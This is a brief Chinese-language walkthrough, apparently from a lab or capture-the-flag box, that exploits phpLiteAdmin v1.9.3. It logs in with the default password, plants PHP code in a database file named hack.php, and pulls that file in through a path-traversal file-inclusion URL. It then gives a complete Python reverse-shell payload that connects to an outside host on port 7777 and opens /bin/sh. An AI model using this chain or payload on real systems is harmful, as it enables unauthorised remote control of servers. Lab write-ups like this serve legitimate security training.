phpLiteAdmin v1.9.3存在RCE漏洞
使用admin密码进行登录
创建数据库，名字叫hack.php
创建一个表，里面内容填写<?php phpinfo()?>，其中hack.php在/usr/databases/文件夹内
主站有文件包含漏洞
这样可以文件包含hack.php。
http://192.168.32.154/view.php?page=../../../../../../../../usr/databases/hack.php接下来要进行反弹shell，先把这个表的内容清空，在添加以下反弹shell代码
<?php
exec("python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"192.168.32.130\",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")
?>反弹成功
